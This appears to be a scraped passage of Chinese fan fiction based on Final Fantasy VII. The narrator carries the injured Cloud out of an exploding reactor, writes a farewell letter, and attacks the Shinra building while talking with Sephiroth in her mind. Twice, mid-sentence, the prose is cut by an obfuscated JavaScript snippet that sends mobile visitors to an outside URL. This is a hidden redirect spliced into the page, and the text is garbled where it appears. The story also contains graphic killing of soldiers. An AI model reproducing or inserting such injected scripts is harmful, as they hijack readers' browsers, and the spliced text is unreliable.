萨菲罗斯微微歪了歪头,嘴角勾起一抹浅淡的弧度。 “我做什么,需要向你解释吗?”他的目光越过克劳德的肩膀,投向他身后房间中央的那个银发身影。 此刻她站在原地一动不动,仿佛是陷入了什么恍惚的状态。 “我只是来见我想见的人。倒是你,这只迷途的小狗,又是被什么牵引到这里的?是对‘她’那可笑的保护欲?还是说,你潜意识里那点卑微的渴望在作祟?” “……” 克劳德举起了符文剑。 “去死吧,萨菲罗斯!!!!” [2] 原来我给神罗打了半辈子工。 原来我是外星人+生命之流的融合体。 原来我死了,然后又因为混沌的聚集效应活了。 原来萨菲罗斯是我哥,我没有觉醒系统。 原来萨菲罗斯想召唤陨石,成为新世界的神—— “!” 混乱的思绪被现实拉回。 我猛地回过神,发现自己正扶着一面冰冷粗糙的金属墙壁。 周围的环境一片狼藉,空气中弥漫着浓烈的血腥味和魔晄混合的古怪气味。几个仪器被打翻在地,碎片散落得到处都是,墙壁和地面上布满了刀剑劈砍的痕迹,还有大片大片暗红色的污渍。 这里刚才显然发生了一场激烈的战斗。 而战斗的一方… 我的目光落在房间中央那个倒在地上的身影上。 金色的刺猬头,沾满了血污和灰尘,那身熟悉的黑色制服也破损不堪,露出下面被血浸透的内衬。 他一动不动地趴在那里,像是失去了所有生息。旁边不远处,那把比他还高的符文剑孤零零地躺在地上,剑身上也沾染了斑驳的血迹。 是克劳德。 还有一片黑色的羽毛静静的躺在血泊旁的地面上。 我快步走过去,在他身边蹲下,伸手探了探他的颈动脉。 还好,还有微弱但平稳的脉搏。只是昏过去了。 不过他这身伤是怎么回事?看起来像是被狠狠揍了一顿,流了这么多血,也不知道有没有伤到内脏。 是萨菲罗斯干的? 很有可能。毕竟刚才我意识模糊的时候,似乎就是他俩在这里对峙。 我伸手想把他翻过来检查一下伤势,手指刚碰到他的肩膀,他的身体就无意识地颤抖了一下,喉咙里发出一声压抑的痛哼。 伤得不轻啊。 我撇撇嘴,觉得有点麻烦。 这家伙,好端端地跑进来干什么?送人头吗? 明明萨菲罗斯不会对我怎么样,我就算死了,要不了几年/几十年,只要生命之流还在,Chaos又会把我聚合。 结合之前的记忆来看,克劳德好像在我死之后失忆了—— 失忆难道是什么时尚单品吗?这确定不是什么下三滥的作者想不出好的情节推进强加上的东西? 不管了。 先走再说。 我先是单手把那把沉重的符文剑抄起来背在自己身后——啧,真够沉的,也不知道这家伙怎么天天扛着它到处跑。然后,我弯下腰,抓住克劳德的胳膊,试图把他从地上拉起来。 他比看上去要重一些,身体软绵绵的,完全没有着力点。而且他身上的血还在不停地往外渗,弄得我满手都是黏糊糊的温热液体。 “喂,陆行鸟,醒醒!自己走!”我拍了拍他的脸,试图把他叫醒。 他没什么反应,只是眉头皱得更紧了,脸色苍白得像纸。 看来是叫不醒了。 我深吸一口气,调整了一下姿势,手臂穿过他的膝弯和后背,用力将他打横抱了起来。 嗯,果然还是有点分量的。不过对我来说,不算什么。 抱着一个昏迷的伤员,还背着一把巨剑,这种负重行军的感觉倒是有点怀念。以前在战场上,这种事情也没少干。 记忆恢复之后,好像连身体都变得更适应这种状况了。 我抱着克劳德,转身朝着来时的路跑去。 脚步声在空旷的通道里回荡,比来时更加沉重。克劳德的脑袋无力地靠在我的肩窝,金色的发丝蹭着我的脸颊,带着血腥和汗水的味道。他的呼吸很浅,带着不正常的灼热。 这家伙,好像在发烧。 失血过多加上脑震荡? 真麻烦。 一边快速奔跑,一边还要留意脚下的障碍和可能的敌人(虽然我觉得萨菲罗斯大概已经把路清干净了)。 “轰隆——!” 一阵剧烈的震动突然从魔晄炉深处传来,整个通道都跟着晃动起来,头顶的金属板发出不堪重负的呻吟,灰尘簌簌落下。 爆炸要开始了。 我脚下不由得加快了速度。抱着克劳德的胳膊也收紧了一些,防止他因为颠簸而摔下去。 通道开始变得不稳定,有些地方的墙壁出现了裂缝,头顶的灯管闪烁不定,发出滋滋的电流声。刺耳的警报声也终于响了起来,尖锐地回荡在整个空间里。 “警告!警告!一号魔晄炉即将发生结构性溃散!所有人员请立即撤离!” “警告!能量核心温度超标!即将发生爆炸!” 机械的女声不断重复着冰冷的警告,加剧着末日降临般的紧张气氛。 我抱着克劳德,在摇晃的通道里左冲右突,躲避着头顶掉落的碎块和脚下突然塌陷的地面。符文剑在我身后随着我的动作晃动,偶尔会撞到墙壁,发出沉闷的响声。 这家伙,连昏迷了都不安生。 “嗯…” 怀里的克劳德似乎被剧烈的震动惊醒了,发出一声痛苦的呻吟,眼睫毛颤动了几下,似乎想要睁开眼睛。 “醒了?醒了就自己走!”我低头看了他一眼,没好气地说。 但他显然还没恢复意识,只是无意识地挣扎了一下,眉头皱得死紧,嘴里含糊地念叨着什么。 “…不能…回去…” 他说什么? 我没听清。 又是一阵更加猛烈的爆炸声传来,这次离得更近了。我甚至能感觉到脚下的金属平台传来炙热的温度。 前方的通道被掉落的巨大管道堵住了。 我停下脚步,快速扫了一眼四周。左边是厚实的墙壁,右边…右边好像有一个通向更下层的维修通道入口,但是被一扇锁死的铁门挡住了。 时间来不及绕路了。 我深吸一口气,将怀里的克劳德往上托了托,调整好姿势,然后猛地抬起右脚,凝聚力量,狠狠一脚踹向那扇锈迹斑斑的铁门! “嘭!” 伴随着刺耳的金属扭曲声,整个门锁连同周围的门板一起被我踹得向内凹陷、变形,然后轰然倒塌。 一个黑漆漆的、向下延伸的通道入口出现在眼前。 来不及多想,我抱着克劳德,直接跳了下去。 身体在狭窄的通道里急速下坠,耳边是呼啸的风声和越来越近的爆炸轰鸣。 黑暗中,我紧紧抱着怀里的人,用自己的身体护住他,准备迎接即将到来的冲击。 坠落的过程是新鲜的,我听见了他那不稳的心跳声,就像是某种不安的小动物在他的胸腔里似的。 咔擦。 落地的瞬间—— 我不知道我的什么骨头碎了。 脾脏,肺,仿佛整个人都被摔成了两半。 一股腥甜的味道瞬间涌上喉咙。 我抱着怀里这个死沉死沉的金毛累赘,重重地砸在冰冷坚硬的金属地面上,发出“咚”的一声巨响。 没等我从跳楼的超绝感觉中缓过神,爆炸的火光就从上至下,一下冲刺到了我眼前。 我用尽力气,将克劳德翻过身,压在我身下。 剧烈的冲击波紧随炽热的白光而至,像一只无形的巨手狠狠攥住了我的五脏六腑,又把我整个人连同身下的克劳德一起拍进了坚硬冰冷的金属地面。 “呃——!” 一声压抑不住的痛哼从我喉咙里挤出来,混合着呛入口鼻的灼热空气和浓烈的尘土味。 天旋地转,耳膜嗡嗡作响,除了震耳欲聋的爆炸轰鸣,什么也听不见。视野里一片白茫茫,间或闪过刺眼的火光和飞溅的金属碎片。 高温炙烤着我的后背和裸露在外的皮肤,制服布料发出焦糊的气味。我甚至能“听”到自己背部的皮肤在高温下迅速碳化、剥离的声音,那种感觉与其说是痛,不如说是一种毛骨悚然的麻痒和撕裂感。 肺部火辣辣的,每一次呼吸都带着铁锈般的血腥味。我能感觉到温热的液体正从嘴角溢出,顺着脸颊滑落。 切,真狼狈。 不过,比起这个,更重要的是身下这个沉甸甸的金毛累赘。 克劳德这家伙,被我压在身下,倒是没直接承受爆炸的冲击和高温。但他之前被萨菲罗斯揍得就不轻,现在又跟着我摔了这么一下,估计情况也好不到哪里去。 我拼尽全力,俯下身,感受了一下。 还有呼吸。 那就好。 热浪翻滚着,带着毁灭一切的气势,不断冲击着我的背部。碎石和金属碎片如同雨点般砸落下来,有些带着惊人的力道,砸在身上发出沉闷的声响。 我用力蜷缩起身体,手臂死死环住克劳德,试图将他更紧地护在怀里。背在身后的符文剑倒是意外地坚固,替我挡下了不少坠落物,剑身与碎块碰撞发出“当啷当啷”的响声。 痛吗? 当然痛。骨头碎裂、内脏受损、皮肤灼伤的感觉可一点都不好受。 恢复的记忆告诉我,这种程度的伤势,对于普通人类来说,已经是致命的了。每一次呼吸都牵扯着断裂的肋骨,带来尖锐的刺痛。后背像是被烙铁反复熨烫,火辣辣的感觉几乎要麻痹神经。 但……也就这样吧。 反正我要不了多久就会恢复的。 爆炸的冲击波似乎终于减弱了一些,虽然周围依旧轰鸣不断,墙壁摇摇欲坠,但至少没有刚才那种毁天灭地的感觉了。弥漫的烟尘和蒸汽稍微散去了一些,露出了周围更加惨烈的景象。 我们摔下来的地方似乎是一个更深层的废弃通道,比上面那条还要破败。 头顶上,原本被我踹开的那个入口已经被彻底坍塌的结构堵死了。四周的墙壁布满了蛛网般的裂痕,有些地方甚至露出了后面扭曲的钢筋。地面上散落着更多叫不出名字的机械零件和碎石,混合着黏稠的、散发着恶臭的液体。 唯一的光源来自墙壁上几盏忽明忽灭的应急灯,光线微弱得可怜。 我试着动了动身体,断裂的肋骨立刻传来抗议的剧痛,但我强行忽略了。Chaos和jenova的力量正在加速修复,大概再过几分钟就能恢复基本行动能力。 我低头看了看怀里的克劳德。 这家伙还昏迷着,脸色比刚才更白了,嘴唇干裂,额头滚烫。我伸手摸了摸,果然在发高烧。他身上的伤口还在渗血,虽然没有直接承受爆炸,但刚才那一摔肯定也让他伤上加伤。 必须尽快带他离开这里,找个安全的地方处理伤口,不然就算不被砸死烧死,光是失血和感染也够他受的。 我小心翼翼地调整了一下姿势,试图坐起来。这个动作牵动了全身的伤口,特别是背部和胸腔,疼得我倒吸一口凉气。 “嘶…” 看来伤得比我预想的还要重一点。 我忍着痛,再次尝试。 这次动作放慢了许多,一点一点地挪动身体,尽量不牵扯到受伤最严重的部位。汗水很快浸湿了额前的碎发,黏在皮肤上很不舒服。怀里的克劳德似乎感觉到了我的动作,不安地扭动了一下,发出几声模糊的呓语。 “别动,笨蛋。” 我低声呵斥了一句,用手臂更紧地固定住他。 好不容易,我终于勉强靠着背后的符文剑坐了起来。 视野一阵阵发黑,但我强迫自己保持清醒。我靠在冰冷的剑身上喘息着,每一次呼吸都带着血沫,胸口像是压着一块巨石。 骨骼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479193|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在吱嘎作响中缓慢复位,肌肉和组织在能量的滋养下快速再生。疼痛感在逐渐减弱,力量也在一点点恢复。 必须尽快离开这里。 在神罗的增援部队或者更糟糕的东西找来之前。 “走了,陆行鸟。” 我对着怀里昏迷的人说了一句,然后抱着他,背着沉重的符文剑,一步一步,朝着通道深处未知的黑暗蹒跚走去。 [3] 我花了三天才从地底爬到地面。 不知道我现在什么模样,估计衣服不剩几块布料了——倒是身体全部恢复好了。 克劳德快要渴死的时候,我就给他喂点血—— 不知道他算不算进食jenova细胞。 不过他身上的伤势恢复的也很快。 好不容易把这只陆行鸟带回了我们第五区的出租屋,把他放在沙发上后,我像是要散架了一样,倒在地上。 盯着天花板,我感觉自己要累死了。 是精神上的。 我的身体不知为何活蹦乱跳的,精力无限,天哪,这就是生命之流神力吗?我死之前都没有这么强横的体质。 不做人真好。 盯着天花板,我开始叫那个名字。 “萨菲罗斯!” 看来之前的战斗是这只陆行鸟赢了,他顺便还把我跟萨菲罗斯的链接(WIFI?)打断了,我都联系不到他。 我在地下爬行那几天都在脑内编出了一个以萨菲罗斯为主角的退婚流爽文剧本,他一下都不回我。 “萨菲罗斯——” “喂喂喂,请问是萨菲罗斯先生吗?你的陨石梦要破碎了,古代种集体复活了!” “萨菲罗斯,我要结婚了。” 【“结婚?”】 咔擦咔擦的,有些不稳定,好歹能听到。 【“你说什么?和谁?”】 他的声音不再断续,稳定得可怕,那种刻意压抑着的平静之下,是几乎要沸腾的怒意和……什么? “对啊,结婚。”我说,故意拖长了音调,“对象嘛——还没想好。不过肯定要找个比你有趣的,至少不会动不动就玩失联,让我对着空气自言自语好几天。” 我这就是赤裸裸地指责他之前的“掉线”行为。 谁让他突然就不理我了?害我一个人在黑漆漆的地底下爬了那么久,连个聊天的都没有。连我精心构思的《转生之萨菲罗斯重生到斗X大陆》剧本都没人欣赏! 【“有趣?”】他重复着这个词,声音里的寒意更重了。 【“你在说什么胡话?什么叫‘比我有趣’?这个世界上,还有谁能比我们更了解彼此?还有谁能像我们这样‘连接’在一起?”】 【“你忘了吗?我们才是同类,我们才是彼此的唯一。人类只会利用你,伤害你,背叛你。只有我,只有我能给你真正的‘归属’。”】 为什么他话这么多? 萨菲罗斯以前话都没有这么多的。 “你怎么了?话这么多,一个玩笑而已。怎么,因为你没有实体?” 【“你是觉得我有不安全感?呵。”】 他轻笑了一声,那笑声里却听不出丝毫轻松。 【你是不是忘了?我是萨菲罗斯。无论我以何种形态存在——无论是在这个物理层面,还是仅仅作为精神,亦或是在生命之流中——我都远超那些脆弱的凡人。‘安全’这种东西,从来不是我需要考虑的问题。”】 “好了,没人想听你说这些。” “萨菲罗斯,你是不是想要召唤陨石,然后让人类消失?你知道我是生命之流的一部分吗?如果你吸收了生命之流,我就会失去一半的自我。” 【“……”】 【“你确实是独一无二的。就算拥有你的记忆,我都创造不出真正的你。”】 他说这种话的时候好像带着某种笃定的语气,好像自己尝试了很多次一样。 “所以你还打算实施你的计划吗?” “喂喂,萨菲罗斯,还在吗?听得见吗?” 我起身去饮水机里接了点水,先喂给沙发上那个陷入沉睡的陆行鸟,摸了摸他的额头——已经退烧了。 接着,从橱柜里拿出一副纸笔。 脑海里的萨菲罗斯沉默着。 于是我无所谓的开始写字。 他终于出声了。 【“……你在写什么?”】 “离别信。” [给二号小弟金毛陆行鸟和一号小弟黑毛扎克斯:] [有个好消息,我恢复记忆了。坏消息是,你们可能要失业了。我大概要去干点别的,比如毁灭世界什么的?开玩笑的。] 【“你要离开他们?”】 【“去哪里?你所谓的‘干点别的’,是指什么?”】 字迹一行行出现在纸上。 “去帮你召唤陨石啊。” 我随口应答道。 脑内突然安静了。 笔尖在纸上划过,发出沙沙的轻响。这声音在寂静的出租屋里显得格外清晰,与沙发上克劳德平稳却微弱的呼吸声交织在一起。 我低着头,继续往那张皱巴巴的纸上涂抹着潦草的字迹。 【“召唤陨石,意味着彻底的毁灭与重生。那不是一场游戏。”】 “我知道啊。对了,怎么复活你来着?” 我将信写完,放在客厅的桌子上,有些嫌弃的看了眼身上不完整的制服,跑到了卧室。 我随手扯下一件看起来最干净的黑色连帽衫和长裤——是克劳德的尺码。啧,估计穿着会有点紧,不过总比没有强。我可不想穿扎克斯那宽大的衣服,晃晃荡荡的像偷穿大人衣服的小孩。 为了显得自己不要那么狼狈,我顺手把一件我之前买的黑袍披在了身上。 料子轻薄,带着兜帽,往身上一披,倒是瞬间多了几分神秘感,也能遮住里面那不太合身的衣物。 我对着旁边那面落了灰的穿衣镜照了照,勉强还算满意。至少看起来不像刚从垃圾堆里爬出来的。 兜帽一戴,谁也看不清我的脸,正好。 “萨菲罗斯,你怎么不说话了?” “我问,怎么复活你。我说了要复活你的,不是吗?” —— 【“你真的想好了吗,所谓的‘复活’,并非像你想象中那么简单,也不是某种可以随意完成的游戏任务。”】 【“让我重新拥有‘实体’,意味着我将真正挣脱生命之流的束缚,以完整的姿态降临于这个世界。到那时,我所带来的,你能承受吗?”】 【“也许,你会更喜欢现在这种状态的我——只存在于你的意识之中,成为你独一无二的‘系统’,随时回应你的呼唤,为你提供微不足道的帮助,比如,教你用土豆做出烤肉的味道?”】 —— 我回到客厅,最后摸了一把那只陆行鸟的头。 软软的,接近尖端的部分有些尖。 ”不用了,我说过,要一直陪伴你,不是吗?“ “萨菲罗斯就是萨菲罗斯。无论哪个姿态的你,对我而言都是你。” “我从不食言,哥哥。” “决战正式见面吧。” 咔哒一声。 我关上了门。 [4] 扎克斯打开门时,客厅内一片阴暗。 他特地回了尼布尔海姆一趟,唤醒了沉睡的文森特,现在他大概在跟爱丽丝讨论事务。 扎克斯明白前辈的状态很不稳定,按照文森特的说法,杰诺瓦会时时刻刻降临—— “克劳德……?” 那个金发的身影捏着信纸,一言不发。 “嘿,克劳德,怎么不开灯啊?我回来了!”扎克斯努力让自己的声音听起来和平时一样轻松快活,他走到沙发旁,伸手想要拍拍克劳德的肩膀。 但在手掌落下的前一刻,他顿住了。 克劳德缓缓地抬起头,那双平日里总是带着些许迷茫和疏离的青色眸子,此刻却暗得吓人,像是两潭不见底的深渊,没有任何情绪。 而他的手里,紧紧攥着一张皱巴巴的纸。 扎克斯的心沉了下去,一种不祥的预感攫住了他。 [给二号小弟金毛陆行鸟和一号小弟黑毛扎克斯:] [有个好消息,我恢复记忆了。坏消息是,你们可能要失业了。我大概要去干点别的,比如毁灭世界什么的?开玩笑的。] [好吧,不是开玩笑的,其实我真的要去帮萨菲罗斯毁灭世界了] [还要复活他什么的。] [你们不用太过惊慌,因为我答应了要帮他。世界不一定会真正毁灭。] [等复活他之后,我会跟他堂堂正正地搏斗一场,看到时候赢的是我还是他] [我不是为了当什么英雄。] [如果我赢了,我就要当盖亚的皇帝,陨石掌握在我手里,萨菲罗斯是我的头号打手。克劳德你可以当未来的星际战士,扎克斯可以做我的‘王爷’?爱丽丝来当我的科研部部长,噢,还有杰内西斯,不知道他去哪了。] [好了,我出发啦。相信我。大概要……我也不知道多久,路途好远。] [form——你们未来的帝皇] [P.S.如果我一直没回来,不要把我收藏的漫画和小说卖掉!PPS.克劳德欠我的摩托什么时候还?] 看完信之后,他猛地抬手捂住了自己的额头,闭上眼睛,试图将那些纷乱的思绪和翻涌的情绪压下去。 不行,不能慌,克劳德还在旁边看着。 他不能让克劳德看出他的失态,不能让克劳德知道事情的严重性。克劳德的精神状态本来就不稳定,要是再受到刺激… 但是…… 无力,刺痛—— 她,走了…… 世界也要…… “克劳德,”他尽量让自己的声音听起来平静而放松,“没事的。前辈她…你知道的,她总是喜欢开这种玩笑。什么毁灭世界,什么皇帝,都是她从小说里看来的。” 克劳德的身体微微一颤,他猛地抬头。 他一字一句地说,声音不大。 “扎克斯,我要去找她。” “扎克斯,我会把她带回来的。” 不是“我们要去找她”,而是“我”要去。 不是“找到她”,而是“带回来”。 —— 不能再像……之前一样……什么也做不到…… 不能…… 只能眼睁睁的看着,看着,拼尽全力,也只能狼狈的抓住她的脚踝…… 那样没用。 —— 〖找到她。〗 —— 51. 第48章 神罗大厦。 门口。 我在兴致勃勃地操控我自己那个不知道叫什么名字的能力,给我的野太刀添加上不同的特效。 嗤—— 一簇深红色的火焰瞬间从“物干竿”狭长的刀身上腾起,无声地舔舐着空气。 火焰并不炽热,反而带着一种阴冷的、仿佛来自地狱深处的气息。火焰跳跃着,变幻着形态,将刀身映照得如同烧红的烙铁,周围的光线似乎都被它扭曲、吞噬。 不够帅。 火光散去,然后,暗色的霓虹光自刀口发出。 紧接着,另一种截然不同的光芒从刀锋处弥漫开来。 不再是单一的色调,而是如同夜晚米德加上层街区广告牌那般绚烂夺目的霓虹色彩。粉紫、亮蓝、荧光绿、柠檬黄…各种鲜艳饱和的色彩如同流动的液体般在狭长的刀身上交织、追逐、碰撞,形成不断变幻的光带和图案。 噗呲—— 伴随着轻微的电流声响,不安分的光粒子在刀刃边缘跳跃闪烁,拖拽出短暂的、如同彗星尾巴般的虚影。 我饶有兴致地挥动了一下“物干竿”。 刀身划破空气,留下一道绚烂的、由无数霓虹光点组成的轨迹,像是在漆黑的画布上用荧光笔随手涂鸦。 光影变幻不定,时而聚合成锐利的箭头,时而散开成迷蒙的光雾,时而又模拟出电路板上电流奔涌的图案。 嗯,这个效果…有点意思。 【“品味还是一如既往地…独特。”】 萨菲罗斯的声音在脑海中响起,带着一种刻意压制的、几乎可以称之为“无奈”的情绪,【“将杰诺瓦的力量用来模拟这种廉价的光影效果,你还真是…物尽其用。”】 他的语气里没有明显的嘲讽,更多的是一种成年人看着自家熊孩子把珍贵玩具涂得五颜六色的那种复杂感。 “喂喂,什么叫廉价啊?”我不满地反驳,“这叫赛博朋克风,懂不懂?充满了科技感和未来感!多潮啊!” 【“赛博朋克?”】 他重复了一遍这个陌生的词汇,似乎在数据库里检索相关信息。 【“一种关注信息技术对社会影响的科幻题材分支?侧重于‘高科技,低生活’的设定。嗯…某种程度上,倒是与米德加的现状有些许契合。”】 不愧是自带生命之流资料库的男人,接受新概念还挺快。 对了,凭什么萨菲罗斯死了,他就可以在生命之流里开挂知晓新知识,还直接获得了职业生涯新目标。 而我死了,就是失忆跑到第五区穷困潦倒呢?衣服都只能穿某个陆行鸟的旧衣服。 【“你的记忆,在我手里。”】 【“……所以,你一直都没有死去。”】 最后一句,萨菲罗斯的语气有些奇怪。 我没有回复他。 因为已经有好几个神罗兵盯上了我手里闪闪发光的大型荧光棒——不不不,超帅大太刀。 “站住!”疤脸士兵在我面前几步远的地方停下,声音低沉有力,“你是什么人?报上身份和来意!” 他旁边的年轻士兵忍不住插嘴,指着我的刀:“喂,你那把是什么东西?看起来怪模怪样的,是新出的玩具吗?” 我的笑容消失了。 疤脸士兵瞪了年轻士兵一眼:“闭嘴,菜鸟!注意你的职责!”然后又转向我,眉头皱得更紧,“回答问题!你的武器违反了神罗大厦武器管制条例,我们需要进行检查!” 右边那个紧张的士兵也附和道,声音有点发颤:“对,对!快把武器放下,接受检查!不要做无谓的抵抗!” “玩具?玩具?你们的品味呢?” 我单手提刀,随手一甩。 哗啦啦——! 伴随着清脆刺耳的碎裂声,神罗大厦一层那面巨大的落地玻璃应声而碎,无数玻璃碎片如同冰雹般四散飞溅,在夜晚的灯光下折射出混乱的光芒。 刚才还倒映着米德加夜景的光滑镜面,此刻只剩下扭曲的金属框架和满地狼藉。 突如其来的巨响和漫天飞舞的玻璃渣让周围瞬间陷入了死寂,几个恰好路过的神罗员工和平民惊恐地尖叫着后退、寻找掩体,脸上写满了难以置信。 而站在我面前的那几个神罗士兵,更是直接呆立当场。 “……” 与此同时,一阵低沉的警报在神罗大厦内响起。 这个音调我简直无法更熟悉了—— “走吧,萨菲罗斯。” “我们把杰诺瓦带走。” 虽然还想再调试一下特效,但是: 目标,第67层。 --- “封锁所有出入口!A区、B区、C区全部封锁!” 一个穿着深蓝色制服、肩章显示是小队长的男人对着通讯器大吼,声音因为紧张而有些变调,“重复!一楼大厅出现入侵者!身份不明,持有危险武器!请求支援!请求立刻支援!” 他的喊声在嘈杂的环境里并不算响亮,但足以让附近几个还没完全吓傻的普通安保人员回过神来。 他们互相看了看,握紧了手中的冲锋枪或是电击棍,组成一个松散的阵型,紧张地注视着那个打破玻璃的罪魁祸首。 人不多,大概七八个,装备也只是神罗的标准配置。看他们颤抖的手指和不断吞咽口水的动作,就知道他们心里有多害怕。 “开、开火!” 那个带头的小队长终于鼓起了勇气,或许是职责所在,或许是恐惧压倒了理智,他颤抖着举起了手中的冲锋枪,率先扣动了扳机。 “哒哒哒哒哒——!” 橘红色的火舌从枪口喷吐而出,子弹如同骤雨般射向那个娇小的身影。 其他人仿佛被这枪声惊醒,也纷纷开火,一时间,枪声大作,子弹呼啸着撕裂空气,密集地射向目标。几个拿着电击棍的保安也硬着头皮,试图从侧面包抄上去。 然而,这一切攻击都落了空。 就在第一颗子弹即将触及黑袍的瞬间,对方的身影模糊了一下。并非高速移动的残影,而是一种更诡异的、仿佛空间本身发生了扭曲般的虚化。 子弹径直穿过了那片扭曲的光影,射入后方的墙壁或者天花板,激起一蓬蓬烟尘。 而在她身形重新凝实的那一刻,她动了。 不是前冲,也不是闪避,而是如同舞蹈般的一个旋身。 手中的大太刀顺着她的动作划出一道近乎完美的圆弧,狭长的刀身上,原本如同液体般流淌的霓虹色彩骤然凝聚、爆发。 光刃的速度快得超乎想象,那些刚刚扣下扳机的士兵甚至来不及做出任何反应,就被至少三到五道不同颜色的光刃贯穿了身体。 坚韧的防弹护甲在这些看似虚幻的光刃面前如同纸糊一般脆弱,瞬间被撕裂、切割。 “呃啊——!” “噗嗤!” 短促而痛苦的惨叫声被切割声和能量爆鸣声淹没。 鲜血如同喷泉般从士兵们身上飚射而出,染红了地面和周围的墙壁。断裂的肢体、破碎的内脏混合着金属零件和布料碎片四散飞溅。 一个距离较近的士兵直接被数道光刃拦腰斩断,上半身还在难以置信地看着自己离去的下半身,口中涌出大量的血沫。 另一个试图包抄的保安被一道荧光绿的光刃削去了半个脑袋,红白之物涂满了旁边的展示柜。 仅仅一瞬间—— 当绚烂的霓虹光芒散去时,原地只剩下她一人。 女人维持着旋身结束的姿势,长长的刀身斜指向地面,刀尖兀自滴落着几滴残留的光粒子,仿佛露珠。 在她周围,七零八落的尸体铺满了地面,鲜血汇聚成小溪,在光洁的大理石地板上蜿蜒流淌,空气中弥漫着浓郁的血腥味和硝烟味,还有一丝奇怪的、如同电路烧焦般的甜腻气味。 警报声依旧尖锐地响着,红灯依旧不知疲倦地闪烁。 但整个神罗大厦一楼大厅,却陷入了一种死一般的寂静。 远处躲藏起来的员工和平民透过掩体的缝隙,惊恐地看着这如同炼狱般的场景,连呼吸都忘记了。 --- 野太刀在手中化为逸散的光点,我打着哈欠,边往前走。 一边是楼梯,一边是电梯。 有监控,有守卫—— 好难选啊。 我毫不犹豫地进了电梯。 【“真是悠闲。看来刚才的热身运动让你很满意?”】 萨菲罗斯的声音在我脑海中响起,带着他特有的那种腔调,听不出是赞许还是别的什么。 “还行吧。” 我走到其中一部电梯前,按下了上行按钮,同时在脑内回应。 “就是这些杂兵太弱了,连让我稍微认真一点的资格都没有。神罗的安保水平,真是越来越差了。” 电梯门无声地滑开,露出里面光洁如镜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479194|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的不锈钢内壁和柔和的照明。内部空间不大,但足够站下七八个人。角落里也有一个监控探头。 我抬脚迈了进去,身后的大厅和尸体被缓缓合拢的电梯门隔绝在外。 呃,科研部……对了。 我摁下了67层的按钮。 ”杰诺瓦就在这里吗?“ 【”对。母亲的剩余躯体。我需要更多的杰诺瓦细胞……“】 突然,一个想法闪过我的脑海,我在脑内惊讶的发问。 ”萨菲罗斯,杰诺瓦是我原先的妈。现在管控杰诺瓦整体的是你,我是不是要叫你妈妈?“ 萨菲罗斯忽然不说话了。 于是我开始无所事事的研究起电梯里的摄像头,摘下斗篷自带的面罩,盯着摄像头看。 不知道他们有没有认出这张几年前做掉神罗总裁的脸。 几秒钟后,一声极轻的、带着奇异质感的低笑在我意识深处响起。 【“你的思维总是能跳跃到出人意料的方向。真是…非常有趣的比喻。”】 他顿了顿,似乎是在组织语言,又像是在评估我的意图。 【“不过,‘母亲’这个称呼,对我而言,意义非凡。“】 【”她并非仅仅是‘生下’我的存在,她是起源,是力量的源头,是这个星球应许的继承者。我与她的‘连接’,是超越了凡俗血缘定义的羁绊。”】 萨菲罗斯又在说怪话了。 【“你是火焰,是混沌,是未经雕琢的可能性。”】 【你是与我‘连接’最深的存在,是唯一能够理解我、未来还能与我并肩的存在。你不需要用任何世俗的称谓来定义我们。”】 电梯数字跳到了 58。 他的话语像是一张无形的网,温柔却又带着不容抗拒的力量,试图将我包裹其中。 其中的意味毫不掩饰。 【“至于‘妈妈’这个称呼…”】 萨菲罗斯话锋一转,声音里又带上了那种冰冷的玩味。 【“如果你执意要用,我倒也不介意。”】 【“毕竟,某种意义上,我也确实在‘孕育’着一个新的世界,一个新的秩序。而你,将是这个新世界里,最耀眼的存在。”】 这家伙,居然顺着我的话说了下去,难道还真的想要我叫他“妈”? 萨菲罗斯的精神状态真是怪到没边了。 不过他的话,倒是比过去当1st多了不少,至少不是那种闷闷的状态。 我把面罩拉上。 “得了吧,谁会叫你妈?你就等着复活后被我奴役吧。” 【“奴役与被奴役的界限并非那么分明。”】 【“不过,我期待那一天的到来。”】 萨菲罗斯的声音低沉下去,带着一种奇异的、如同低语般的缱绻感。 【“期待你站在我身边,以平等的姿态,而非‘奴役者’的身份。”】 呵,平等? 这家伙嘴里的“平等”,大概就是他当杰诺瓦皇帝,我做他唯一的、享有特权的宠臣吧?或者是别的什么…… 我正要出言攻击他,整个电梯忽地摇晃。 红光闪烁,警报响起—— 然后,电梯内的数字停在了62。 我一脚踢向电梯的大门。 一声震耳欲聋的巨响,整个电梯轿厢剧烈震动。厚重的合金电梯门如同纸片般向内凹陷,扭曲变形。 我走了出去。 走廊上静悄悄的,一个人都没有。 看来神罗的反应比我想象中快,或者说,他们对“入侵者”的处理预案一直很充分。 直接切断主电梯,封锁楼层,然后要么集中兵力在关键区域围堵,要么干脆战略性撤退,等待后续处理。 从我的实力来看,处理办法应该是后者。 我扯了扯身上的斗篷,往记忆里备用电梯的方向走。 这里没有明显的门或按钮,只有一个不起眼的凹槽。我伸出手,指尖在凹槽内壁摸索了几下,按到了一个隐藏的感应器。 咔哒。 隐藏的门打开,我走进了透明的电梯内。 米德加的夜景清晰可见。 “走了,‘妈妈’。” 我故意开口,接着,按下了通往67层的按钮。 【“……”】 脑海里的声音再次陷入沉默,只有电梯启动时轻微的机械运行声在狭小的空间里响起。 52. 第49章 “萨菲罗斯。” “萨菲罗斯!” 等电梯的时候,实在是无聊,我开始叫他。 